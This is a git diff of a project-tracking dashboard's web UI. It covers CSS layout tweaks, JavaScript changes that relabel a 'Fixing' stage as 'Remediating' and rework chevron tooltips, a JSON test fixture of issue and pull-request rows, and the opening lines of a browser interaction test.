.ham-head-cols > .ham-strip { display: contents; } - .ham-head-cols .ham-seg.ham-head-lead, .ham-head-cols .ham-seg.ham-head-pr { grid-column: 1 / -1; padding: 0; } + .ham-head-cols .ham-strip > .ham-seg { grid-column: 1 / -1; grid-row: auto; padding: 0; } .ham-head-cols .ham-head-lead:empty { display: none; } - .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; min-width: 0; justify-content: flex-start; } + .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; min-width: 0; justify-content: flex-end; } .ham-head-cols > .ham-since { display: none; } .ham-row .ham-seg { padding: 0 var(--sp-2) 0 var(--sp-3); } .ham-row .ham-seg.cap { flex-basis: 2em; } @@ -2117,6 +2105,11 @@ .ham-cols .ham-seg { padding: 0 var(--sp-2) 0 var(--sp-3); } .ham-cols .ham-seg.cap { flex-basis: 2em; } } + @media (max-width: 640px) { + #activity-monitor-panel { --ham-compact-min-width: 60em; } + .ham-row > .ham-strip-row, .ham-sub > .ham-strip-row, .ham-cols > .ham-strip-row { overflow-x: auto; } + .ham-row > .ham-strip-row > .ham-strip, .ham-sub > .ham-strip-row > .ham-strip, .ham-cols > .ham-strip-row > .ham-strip { min-width: var(--ham-compact-min-width); } + } /* Movement animation: when an item's lit chevron changes column between two refreshes, the chosen effect (settings gear β†’ Movement animation) plays once on that row. Overlays live in .ham-anim-layer, an absolute @@ -15443,7 +15436,7 @@ <h3 class="faq-group-title">Where to get help</h3> // the chevron and the caption name one blocker (hive's own #15577 read // "Merge queued Β· 1st" while its caption said "check build-and-test // still running"). Keys below STAGE_TRACKER_MERGE_READY only. - const STAGE_TRACKER_PROVISIONAL_STAGE_WORD = { 10: 'Actionable', 20: 'Claimed', 30: 'PR in progress', 40: 'Covered by PR', 45: 'Needs human decision', 50: 'CI / Review', 60: 'Review passed', 70: 'Fixing', 71: 'Needs author', 72: 'Returned to contributor', 74: 'Adopted by hive' }; + const STAGE_TRACKER_PROVISIONAL_STAGE_WORD = { 10: 'Actionable', 20: 'Claimed', 30: 'PR in progress', 40: 'Covered by PR', 45: 'Needs human decision', 50: 'CI / Review', 60: 'Review passed', 70: 'Remediating', 71: 'Needs author', 72: 'Returned to contributor', 74: 'Adopted by hive' }; // Pure: true when the row's queue slot is a forecast β€” the server says // so (merge_train.provisional), or, from an older server, the row's // own stage is short of the merge gate. @@ -15550,7 +15543,7 @@ <h3 class="faq-group-title">Where to get help</h3> // (mergeTrainHead* in Go) β€” short enough for a chevron. A head on a // person says what the person has to do (the owner's ask: "waiting on // #15425 (needs maintainer merge)"), not "waiting for a maintainer". - const STAGE_TRACKER_TRAIN_HEAD_STALL_WORD = { 'needs-human': 'needs maintainer merge', ci: 'waiting for CI', soaking: 'soak overran', ready: 'waiting for the next merge pass', merging: 'merge call in flight', fixing: 'being fixed by its author', unknown: 'head not in this view' }; + const STAGE_TRACKER_TRAIN_HEAD_STALL_WORD = { 'needs-human': 'needs maintainer merge', ci: 'waiting for CI', soaking: 'soak overran', ready: 'waiting for the next merge pass', merging: 'merge call in flight', fixing: 'being remediated by its author', unknown: 'head not in this view' }; // Pure: the short reason a stalled head is stuck β€” the head_state // table, a human-decision head told apart by its reason, else the // head's own plain-word reason cut at its first clause. @@ -16069,7 +16062,7 @@ <h3 class="faq-group-title">Where to get help</h3> case 45: return 'Needs a human decision'; case 50: return 'Waiting for review' + viaPR; case 60: return 'Reviewed' + viaPR; - case 70: return 'Fixing review findings' + viaPR; + case 70: return 'Remediating CI or review findings' + viaPR; case 71: return 'Waiting on the author' + viaPR; case 72: return 'Back with the contributor' + viaPR; case 74: return 'Hive took it over' + viaPR; @@ -16161,7 +16154,7 @@ <h3 class="faq-group-title">Where to get help</h3> // Stage β†’ operator phrase, mirrored from stageTrackerStagePhrase // (stage_tracker_vocabulary.go): every string the page renders names a // stage by its chevron's words, never by a code ("060 reviewed"). - const STAGE_TRACKER_STAGE_PHRASE = { 10: 'actionable', 15: 'waiting for triage', 17: 'waiting for the author to confirm the gap (prior art found)', 20: 'claimed', 30: 'a PR in progress', 40: 'covered by a PR', 45: 'waiting for a human decision', 50: 'in CI / review', 60: 'review passed Β· waiting for merge admission', 70: 'being fixed by hive', 71: 'waiting for its author', 72: 'returned to the contributor', 74: 'adopted by hive', 80: 'at the merge queue', 85: 'waiting for a human decision', 90: 'ready for human merge', 95: 'soaking before merge', 100: 'in the merge queue' }; + const STAGE_TRACKER_STAGE_PHRASE = { 10: 'actionable', 15: 'waiting for triage', 17: 'waiting for the author to confirm the gap (prior art found)', 20: 'claimed', 30: 'a PR in progress', 40: 'covered by a PR', 45: 'waiting for a human decision', 50: 'in CI / review', 60: 'review passed Β· waiting for merge admission', 70: 'being remediated by hive', 71: 'waiting for its author', 72: 'returned to the contributor', 74: 'adopted by hive', 80: 'at the merge queue', 85: 'waiting for a human decision', 90: 'ready for human merge', 95: 'soaking before merge', 100: 'in the merge queue' }; // Pure: a stage's name in plain words for cues and tooltips β€” its short // word when the stages table has one, else its label with the lane's // "stage/060-" slug prefix dropped and the slug humanised ("Reviewed"). @@ -16208,7 +16201,8 @@ <h3 class="faq-group-title">Where to get help</h3> if (!d || d.effect !== 'pending' || !d.text) return null; nowMs = typeof nowMs === 'number' ? nowMs : Date.now(); const sep = String(d.text).indexOf(' Β· '); - const word = sep > 0 ? d.text.slice(0, sep) : (d.word || d.text); + const rawWord = sep > 0 ? d.text.slice(0, sep) : (d.word || d.text); + const word = rawWord === 'Fixing' ? 'Remediating' : rawWord; let detail = sep > 0 ? d.text.slice(sep + 3) : ''; const until = d.next_at ? Date.parse(d.next_at) : 0; if (until > nowMs) detail += (detail ? ' Β· ' : '') + 'in ' + stageTrackerShortLeft(until - nowMs); @@ -17262,7 +17256,7 @@ <h3 class="faq-group-title">Where to get help</h3> const activityFreshMS = 2 * 60 * 1000; const clock = Number(nowMs) || Date.now(); const codeWorking = codeMatches && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && Number.isFinite(codeObserved) && codeObserved <= clock && clock - codeObserved <= activityFreshMS; - const codeCaption = codeMatches ? (!codeWorking && code.state === 'fixing' ? 'Fix task assigned Β· activity unknown' : code.caption) : 'Code activity unknown'; + const codeCaption = codeMatches ? (!codeWorking && code.state === 'fixing' ? 'Fix task assigned Β· activity unknown' : (code.state === 'fixing' ? String(code.caption || '').replace(/^Fixing\b/, 'Remediating') : code.caption)) : 'Code activity unknown'; if (detour && !code && cur === 70 && !detour.sentinel) detour.text = 'Waiting for fixer Β· activity unknown'; if (detour && code && [70, 71, 72].includes(cur)) detour.text = codeCaption || detour.text; if (detour && code && cur === 74 && codeWorking) detour.text += ' Β· ' + codeCaption; @@ -17604,10 +17598,12 @@ <h3 class="faq-group-title">Where to get help</h3> const activityFreshMS = 2 * 60 * 1000; const clock = Number(nowMs) || Date.now(); const stale = Number.isFinite(observed) && (clock - observed > activityFreshMS || observed > clock); - const active = matches && a.active && Number.isFinite(observed) && !stale; + const current = sg.state === 'active'; const state = matches ? a.state || 'unknown' : 'unknown'; - if (matches && (a.active || ['running', 'reviewing', 'adjudicating'].includes(state)) && (!Number.isFinite(observed) || stale)) caption = name + ' activity unknown Β· last observed ' + state; - const cls = Number.isFinite(observed) && !stale && (state === 'passing' || state === 'approved') ? 'done' : active ? 'active' : 'todo'; + const known = matches && state !== 'unknown' && Number.isFinite(observed) && !stale; + const active = known && a.active; + if (matches && !known && state !== 'unknown') caption = name + ' activity unknown Β· last observed ' + state + ' Β· ' + caption; + const cls = known && (state === 'passing' || state === 'approved') ? 'done' : active ? 'active' : 'todo'; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; @@ -17622,12 +17618,21 @@ <h3 class="faq-group-title">Where to get help</h3> let decided = kind === 'review' && sg.state === 'active' && item.decided && typeof stageTrackerMergeGateWordHtml === 'function' ? stageTrackerMergeGateWordHtml(item, nowMs) : ''; const codeObserved = Date.parse(code && code.observed_at || ''); const codeFresh = code && code.head === item.head && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && code.state === 'fixing' && Number.isFinite(codeObserved) && codeObserved <= clock && clock - codeObserved <= activityFreshMS; - if (!codeFresh) decided = decided.replace(/>Fixing(?=\s|<)/g, '>Fix requested'); - const word = esc(caption.replace(new RegExp('^' + name + ' ?'), '') || state); + if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); + const word = esc(caption); const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${word}</a>` : word; const routeState = (sg.state || 'todo') + (sg.detour ? ' detoured' : ''); - return `<li class="ham-seg ham-activity-track ${cls}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}"${sg.state === 'active' ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(tip + (codeNote ? ' Β· ' + codeNote : ''))}"` : ''} aria-label="${esc(name + ': ' + tip + (codeNote ? ' Β· ' + codeNote : ''))}"><span class="ham-track-name">${name}</span><span class="ham-track-state">${evidenceLink}</span>${codeNote || contextWord ? `<span class="ham-track-code-note">${esc(codeNote || contextWord)}</span>` : ''}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}${stale || !Number.isFinite(observed) ? '<span class="ham-track-freshness">?</span>' : ''}</li>`; + const hold = item.hold; + const fullTip = (current ? 'Current pipeline phase Β· ' : '') + name + ': ' + tip + + (matches && a.actor ? ' Β· actor ' + a.actor : '') + + (codeNote || contextWord ? ' Β· ' + (codeNote || contextWord) : '') + + (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : ''); + const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); + const icon = stageTrackerIcon(50, 'ham-ico', name); + const content = known ? `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>` : icon; + const linkedIcon = !known && ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}</a>` : content; + return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${linkedIcon}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } // Chevrons for one item. range bounds the columns the item owns (an @@ -17685,6 +17690,7 @@ <h3 class="faq-group-title">Where to get help</h3> const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); const active = sg.state === 'active'; let tip = ''; + let gateCaption = ''; if (active) { tip = sg.label + (sg.description ? ' β€” ' + sg.description : ''); if (sg.blocked) tip += ' β€” ' + stageTrackerBlockedTip(item); @@ -17696,7 +17702,10 @@ <h3 class="faq-group-title">Where to get help</h3> // With merge_gate in the payload the sentence is the gate's own // (what holds it, next sweep, soak left β€” #15073). const gateInfo = !sg.detour && typeof stageTrackerMergeGateInfo === 'function' ? stageTrackerMergeGateInfo(item, nowMs, trains) : null; - if (gateInfo) tip = sg.label + ' β€” ' + gateInfo.tip; + if (gateInfo) { + tip = sg.label + ' β€” ' + gateInfo.tip; + gateCaption = [gateInfo.word, gateInfo.detail].filter(Boolean).join(' Β· '); + } else if (!sg.detour && (curStage === 60 || curStage === 80)) tip = sg.label + ' β€” not yet admitted' + (item.caption || item.reason ? ' β€” ' + (item.caption || item.reason) : ''); else if (curStage === STAGE_TRACKER_PRE_MERGE_SOAK) tip = sg.label + ' β€” admitted, soaking' + stageTrackerSoakLeft(item); else if (curStage === 100) tip = sg.label + ' β€” admitted, merging'; @@ -17747,8 +17756,17 @@ <h3 class="faq-group-title">Where to get help</h3> // The cap chevron is the βœ“ only once the PR is merged; until then // the column is the row's history and wears the history mark. if (sg.cap) inner = sg.terminal ? stageTrackerIcon(sg.number, 'ham-ico') : stageTrackerIcon('history', 'ham-ico ham-history-ico', 'History β€” no decisions or actions recorded yet'); - else if (active) inner = gateCue + workIco + (decision ? stageTrackerDecisionTriggerHtml(decision, word, tip) : word) + (actorIco || holderIco); - else inner = stageTrackerIcon(sg.number, 'ham-ico'); + else if (active) { + const fullTip = [tip, gateCaption || (sg.detour ? sg.detour.text : sg.short), item.caption, item.reason, + item.head ? 'head ' + item.head : '', + item.hold ? (item.hold.pill || 'Held by @' + item.hold.by) + (item.hold.reason ? ' Β· ' + item.hold.reason : '') : ''].filter(Boolean).join(' Β· '); + const tipID = 'ham-chevron-tip-' + [item.repo || '', item.kind || '', item.number || 0, sg.number].map(x => encodeURIComponent(String(x))).join('-'); + const caption = gateWord || word; + const text = decision ? stageTrackerDecisionTriggerHtml(decision, caption, fullTip) : caption; + const content = `${gateCue}${workIco}<span class="ham-chevron-copy">${text}</span>${actorIco || holderIco}`; + // A decision's dialog is its sole hover/focus detail surface. + inner = decision ? `<span class="ham-chevron-info ham-chevron-decision">${content}</span>` : `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${content}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}</span></span>`; + } else inner = stageTrackerIcon(sg.number, 'ham-ico'); return `<li class="${cls}"${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; }).join(''); } @@ -17772,7 +17790,7 @@ <h3 class="faq-group-title">Where to get help</h3> const activityFreshMS = 2 * 60 * 1000; const clock = Number(nowMs) || Date.now(); const working = code && code.head === item.head && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && code.state === 'fixing' && Number.isFinite(observed) && observed <= clock && clock - observed <= activityFreshMS; - const word = !working && decidedInfo.word === 'Fixing' ? 'Fix requested' : decidedInfo.word; + const word = !working && ['Fixing', 'Remediating'].includes(decidedInfo.word) ? 'Fix requested' : decidedInfo.word; text = word + (decidedInfo.detail ? ' Β· ' + decidedInfo.detail : '') + (regressed ? ' Β· ' + regressed : ''); } const tracks = (item.kind === 'pr' || item.via_pr) && item.head ? ['ci', 'review'].map(kind => { @@ -18336,14 +18354,15 @@ <h3 class="faq-group-title">Where to get help</h3> // Ghost strip for a title line: the lead cell (Open..Claimed) carries // the item's own number + title, the PR cell (PR in progress..Merge gate) - // the given refs, and the cap cell the modifier chip, bottom-aligned so - // it sits on the last title line, directly over the strip's right end. + // the given refs. Modifier chips wrap on their own full-width, + // right-anchored line rather than overflowing the history cap into titles. // The since column is an empty spacer here (same width as the strip // row's, which carries the time on step): a wrapped title must not float // the age away from the chevrons it describes. function stageTrackerHeadColsHtml(prRefs, leadHtml, chipsHtml, prTargetKey) { const wide = !(prRefs && prRefs.length); - return `<div class="ham-strip-row ham-head-cols"><ol class="ham-strip"><li class="ham-seg ham-head-lead${wide ? ' ham-head-wide' : ''}">${leadHtml || ''}</li>${wide ? '' : `<li class="ham-seg ham-head-pr"${prTargetKey ? ` data-ham-target-key="${esc(prTargetKey)}"` : ''}>${prRefs.join('')}</li>`}<li class="ham-seg cap"><span class="ham-badges">${chipsHtml || ''}</span></li></ol><span class="ham-since"></span></div>`; + const prStart = STAGE_TRACKER_PATH.indexOf(STAGE_TRACKER_PR_COLUMN) + 1; + return `<div class="ham-strip-row ham-head-cols" data-ham-pr-start="${prStart}"><ol class="ham-strip"><li class="ham-seg ham-head-lead${wide ? ' ham-head-wide' : ''}">${leadHtml || ''}</li>${wide ? '' : `<li class="ham-seg ham-head-pr"${prTargetKey ? ` data-ham-target-key="${esc(prTargetKey)}"` : ''}>${prRefs.join('')}</li>`}<li class="ham-seg cap"><span class="ham-badges">${chipsHtml || ''}</span></li></ol><span class="ham-since"></span></div>`; } function stageTrackerSinceHtml(item, nowMs) { @@ -18552,12 +18571,10 @@ <h3 class="faq-group-title">Where to get help</h3> if (typeof stageTrackerPreparationMark === 'function') stageTrackerPreparationMark(pr); const superseded = typeof stageTrackerLinkedSupersededText === 'function' ? stageTrackerLinkedSupersededText(lp, issue) : ''; let ref = stageTrackerPRRef(pr.number, pr.url, pr.author_kind, pr.author, pr.title, (pr.title ? pr.title + ' Β· ' : '') + (superseded ? superseded + ' Β· ' + stageTrackerLinkedSupersededTip(lp) : stageTrackerTooltip(pr, nowMs)) + ' Β· ' + stageTrackerLinkedTip(issue, pr.number, ctx)); - // One line (hivecommons/hive: "consolidate from 3 lines of text to - // 1"): connector, repo chip, author icon + #N + title, the lineage / - // adopted-from chip, then the base pill β€” all siblings of the flex-row - // PR cell; the title ellipsizes, the pills never shrink. A superseded - // original wears neither pill β€” it closes as superseded, not as the - // closer of anything. + // Connector, repo chip, author icon + #N + title, lineage / + // adopted-from chip and base pill share the wrapping PR-side cell. + // A superseded original wears neither pill β€” it closes as superseded, + // not as the closer of anything. const lineage = superseded ? '' : ((typeof stageTrackerLineageChipHtml === 'function' ? stageTrackerLineageChipHtml(pr, nowMs) : '') || (typeof stageTrackerAdoptedFromChipHtml === 'function' ? stageTrackerAdoptedFromChipHtml(pr, nowMs) : '')); const chip = ctx && ctx.repoChips ? stageTrackerRepoChipHtml(pr.repo, ctx) : ''; if (chip) ref = `<span class="ham-pr-line">${chip}${ref}</span>`; @@ -18566,7 +18583,7 @@ <h3 class="faq-group-title">Where to get help</h3> if (superseded) { // The adopted original: one muted line, no chevron track, no row // tools, no needs-human styling β€” the copy carries the chevron. The - // trailing note never wraps; the title ellipsizes first (owner, + // trailing note stays distinct from the wrapping title (owner, // hivecommons/hive#15511: "superseded Β· hive adopted β†’ #15574"). return `<div class="ham-sub ham-sub-superseded" data-ham-kind="pr" data-ham-stage="${pr.stage}" data-ham-sub-key="${esc(stageTrackerItemKey(pr))}" data-ham-superseded-by="${Number(lp.superseded_by || lp.adopted_by) || 0}"> <div class="ham-row-head"> @@ -19564,6 +19581,12 @@ <h3 class="faq-group-title">Where to get help</h3> tpl.innerHTML = html; const node = tpl.content.firstElementChild; node.dataset.hamKey = key; + // Bind canonical lane geometry when materializing root and nested rows. + if (typeof node.querySelectorAll === 'function') { + for (const header of node.querySelectorAll('.ham-head-cols[data-ham-pr-start]')) { + header.style.setProperty('--ham-pr-start', header.dataset.hamPrStart); + } + } if (_stageTrackerRowSrc) _stageTrackerRowSrc.set(node, stageTrackerRowSrcKey(html)); return node; } @@ -22270,9 +22293,14 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> function stageTrackerOpenDecisionPop(trigger, pin) { const key = trigger && trigger.dataset ? trigger.dataset.hamDecision : ''; if (!key) return; + if (typeof hideConfigTooltip === 'function') hideConfigTooltip(); if (_stageTrackerDecisionPop && _stageTrackerDecisionPop.key === key) { if (pin) _stageTrackerDecisionPop.pinned = true; clearTimeout(_stageTrackerDecisionPop.timer); + if (pin && pin.focus) { + const first = _stageTrackerDecisionPop.el.querySelector('.ham-decision-act:not([aria-disabled="true"])'); + (first || _stageTrackerDecisionPop.el).focus({ preventScroll: true }); + } return; } stageTrackerCloseDecisionPop(false); @@ -22325,7 +22353,7 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> window.addEventListener('resize', p.onAway); window.addEventListener('scroll', p.onAway, true); _stageTrackerDecisionPop = p; - if (pin && pin.focus) { const first = el.querySelector('.ham-decision-act:not([aria-disabled="true"])'); (first || el).focus(); } + if (pin && pin.focus) { const first = el.querySelector('.ham-decision-act:not([aria-disabled="true"])'); (first || el).focus({ preventScroll: true }); } } // The pointer left the trigger or the popover: close after a beat unless // it is pinned or the pointer is back over either (rows re-render, so @@ -23567,7 +23595,7 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> n.classList.add('cue-acting'); if (capEl && capEl.parentNode !== host) { capEl.remove(); capEl = null; } if (host && !capEl) { capEl = document.createElement('span'); capEl.className = 'cue-acting-cap'; capEl.setAttribute('role', 'status'); const sp = document.createElement('span'); sp.className = 'toast-spinner cue-acting-spin'; capEl.appendChild(sp); capEl.appendChild(document.createTextNode('')); host.appendChild(capEl); } - if (capEl) capEl.lastChild.nodeValue = cap; + if (capEl) { capEl.lastChild.nodeValue = cap; capEl.title = cap; capEl.setAttribute('aria-label', cap); capEl.setAttribute('tabindex', '0'); } } else { n.classList.remove('cue-acting'); if (capEl) capEl.remove(); diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-activity-density.json b/src/pkg/dashboard/webstatic/testdata/tracker-activity-density.json new file mode 100644 index 0000000000..7baccd3f47 --- /dev/null +++ b/src/pkg/dashboard/webstatic/testdata/tracker-activity-density.json @@ -0,0 +1,83 @@ +{ + "source": "Screenshot 2026-11-03 at 12.01.36β€―PM.png", + "clock": "2026-11-03T17:01:36Z", + "provenance": "Screenshot-shaped acceptance data, not a live backend snapshot. Titles/authors/heads were read from GitHub at 17:04Z. Relationships follow the screenshot, including dashboard-only links under #16404. Stage/activity projections are deterministic test inputs; #16437 is also exercised as a PR-only view variant. Passing a fixture is not published-preview proof.", + "rows": [ + { + "repo": "hivecommons/hive", "kind": "issue", "number": 16404, "stage": 40, "url": "https://github.com/hivecommons/hive/issues/16404", + "title": "[scanner] native-queue-policy cannot pass when the DCO app hits its 250-commit ceiling (forward-merge PRs)", + "linked_prs": [ + { + "number": 16442, "stage": 85, "base_ref": "v5", "author": "thatguywob", "author_kind": "clanker", "url": "https://github.com/hivecommons/hive/pull/16442", + "title": "πŸ› fix(ci): report unavailable DCO enumeration without weakening admission", + "head": "0ac19dfa36e6fbe46e50120ddced291fac3a7bdb", + "decision_needed": { "question": "Should this admission-workflow change land?", "blocker": "Workflow/admission policy edits need a maintainer's sign-off." }, + "ci_activity": { "head": "0ac19dfa36e6fbe46e50120ddced291fac3a7bdb", "state": "passing", "caption": "CI passed", "observed_at": "2026-11-03T17:01:36Z", "source": "acceptance-fixture" }, + "review_activity": { "head": "0ac19dfa36e6fbe46e50120ddced291fac3a7bdb", "state": "changes_requested", "caption": "Review findings Β· human decision Β· adjudicator", "observed_at": "2026-11-03T17:01:36Z", "source": "acceptance-fixture" } + }, + { + "number": 16378, "stage": 71, "display_column": 30, "base_ref": "v6", "author": "clubanderson", "author_kind": "human", "url": "https://github.com/hivecommons/hive/pull/16378", + "title": "🌱 Top up v6 with the latest v5 snapshot", + "head": "670776c942dbed8c3e9d82cc5593599071675e67", + "caption": "Waiting for @clubanderson Β· not observed coding", + "reason": "CI failed: native-queue-policy; waits for a new author commit.", + "code_activity": { "head": "670776c942dbed8c3e9d82cc5593599071675e67", "state": "waiting_owner", "caption": "Waiting for @clubanderson Β· not observed coding", "source": "native-author-wait" }, + "push": { "state": "waiting", "login": "clubanderson", "since": "2026-11-03T16:49:36Z", "next": "re-review" }, + "rework": { "state": "pushed", "actor": "clubanderson", "since": "2026-11-03T16:49:36Z" } + } + ] + }, + { + "repo": "hivecommons/hotshot", "kind": "issue", "number": 343, "stage": 40, "url": "https://github.com/hivecommons/hotshot/issues/343", + "title": "[scanner] injection-failure runbook omits injection.iterm2 events; runbook-events guard regex cannot validate them", + "linked_prs": [{ + "number": 344, "stage": 60, "base_ref": "main", "author": "hivecommons-hive", "author_kind": "hive", "url": "https://github.com/hivecommons/hotshot/pull/344", + "title": "πŸ“– docs: document injection.iterm2 runbook events and widen the runbook-events guard", + "head": "ece77aa02c477fe85875cb399decd3ecb00a2e85", + "push": { "state": "pushed", "login": "hivecommons-hive[bot]", "sha": "ece77aa02c477fe85875cb399decd3ecb00a2e85", "since": "2026-11-03T16:01:36Z", "next": "re-review" }, + "ci_activity": { "head": "ece77aa02c477fe85875cb399decd3ecb00a2e85", "state": "queued", "caption": "CI queued", "observed_at": "2026-11-03T17:01:36Z", "source": "acceptance-fixture" }, + "review_activity": { "head": "ece77aa02c477fe85875cb399decd3ecb00a2e85", "state": "approved", "caption": "Review approved", "observed_at": "2026-11-03T17:01:36Z", "source": "acceptance-fixture" } + }] + }, + { + "repo": "hivecommons/hive", "kind": "issue", "number": 16438, "stage": 40, "url": "https://github.com/hivecommons/hive/issues/16438", + "title": "Boot from ConfigMap seed silently drops safety gates present in the prior runtime overlay", + "linked_prs": [ + { + "number": 16446, "stage": 72, "display_column": 30, "base_ref": "v5", "author": "thatguywob", "author_kind": "clanker", "url": "https://github.com/hivecommons/hive/pull/16446", + "title": "πŸ› fix: warn before boot recovery drops safety gates", + "head": "96d5ad5db1cf6989f118d78e60738d233f97b509", + "caption": "Waiting for @thatguywob Β· not observed coding", + "code_activity": { "head": "96d5ad5db1cf6989f118d78e60738d233f97b509", "state": "waiting_owner", "caption": "Waiting for @thatguywob Β· not observed coding", "source": "native-author-wait" }, + "push": { "state": "waiting", "login": "thatguywob", "since": "2026-11-03T16:55:36Z", "next": "re-review" }, + "rework": { "state": "acknowledged", "actor": "thatguywob", "since": "2026-11-03T16:55:36Z" }, + "ci_activity": { "head": "96d5ad5db1cf6989f118d78e60738d233f97b509", "state": "failing", "caption": "CI failing Β· test", "observed_at": "2026-11-03T17:01:36Z", "source": "acceptance-fixture" }, + "review_activity": { "head": "96d5ad5db1cf6989f118d78e60738d233f97b509", "state": "queued", "caption": "Review queued Β· unassigned", "observed_at": "2026-11-03T17:01:36Z", "source": "acceptance-fixture" } + }, + { + "number": 16449, "stage": 71, "display_column": 30, "base_ref": "v5", "author": "clubanderson", "author_kind": "human", "url": "https://github.com/hivecommons/hive/pull/16449", + "title": "πŸ› fix(config): warn, report and optionally refuse when a seed boot drops a safety gate the previous runtime overlay carried", + "head": "3b4c78cad27083e1e39b8e08460485d78102fdf4", + "caption": "Waiting for @clubanderson Β· not observed coding", + "reason": "CI failed: build-and-test; waits for a new author commit.", + "code_activity": { "head": "3b4c78cad27083e1e39b8e08460485d78102fdf4", "state": "waiting_owner", "caption": "Waiting for @clubanderson Β· not observed coding", "source": "native-author-wait" }, + "push": { "state": "waiting", "login": "clubanderson", "since": "2026-11-03T16:57:36Z", "next": "re-review" }, + "rework": { "state": "requested", "actor": "clubanderson", "since": "2026-11-03T16:57:36Z" }, + "ci_activity": { "head": "3b4c78cad27083e1e39b8e08460485d78102fdf4", "state": "failing", "caption": "CI failing Β· golangci-lint", "observed_at": "2026-11-03T17:01:36Z", "source": "acceptance-fixture" }, + "review_activity": { "head": "3b4c78cad27083e1e39b8e08460485d78102fdf4", "state": "queued", "caption": "Review queued Β· unassigned", "observed_at": "2026-11-03T17:01:36Z", "source": "acceptance-fixture" } + } + ] + }, + { + "repo": "hivecommons/hive", "kind": "issue", "number": 16420, "stage": 20, "url": "https://github.com/hivecommons/hive/issues/16420", + "title": "[v6] πŸ› standby tile counts an item for a lane that dispatch then refuses (lane split mismatch)", + "operator_action_count": 1 + }, + { + "repo": "hivecommons/hive", "kind": "pr", "number": 16437, "stage": 90, "base_ref": "v6", "url": "https://github.com/hivecommons/hive/pull/16437", + "title": "πŸ“– docs: complete standby readiness prerequisites", "author": "thatguywob", "author_kind": "clanker", + "head": "13b859a8d5e8e434d6f708c75321265241493ac6", + "manual_merge": true, "human_merge_reason_text": "untrusted author" + } + ] +} diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-decision-interaction.js b/src/pkg/dashboard/webstatic/testdata/tracker-decision-interaction.js new file mode 100644 index 0000000000..9f517aec10 --- /dev/null +++ b/src/pkg/dashboard/webstatic/testdata/tracker-decision-interaction.js @@ -0,0 +1,101 @@ +// Dedicated preview only: evaluate (<file contents>)({ dedicatedPreview: true }). +// Exercises pointer/focus/keyboard UI, never clicks a row/decision action. +(async ({ dedicatedPreview = false } = {}) => { + if (!dedicatedPreview) throw new Error('Use a dedicated published-preview tab, not the user’s live dashboard'); + const tolerance = 1; + const hoverSettleMS = 200; + const failures = []; + const assert = (ok, message) => { if (!ok) failures.push(message); }; + const triggers = [...document.querySelectorAll('#activity-monitor-panel .ham-chevron-decision .ham-decision-trigger')]; + const nativeStage = trigger => Number(trigger.closest('[data-ham-stage]')?.dataset.hamStage); + const gate = triggers.find(trigger => nativeStage(trigger) === 80 && trigger.querySelector('.ham-seg-t')); + if (!gate) throw new Error('Preview fixture must include native stage 80 with a gate caption and claim-conflict decision'); + const other = triggers.find(trigger => trigger !== gate && nativeStage(trigger) !== 80); + const targets = other ? [gate, other] : [gate]; + const help = 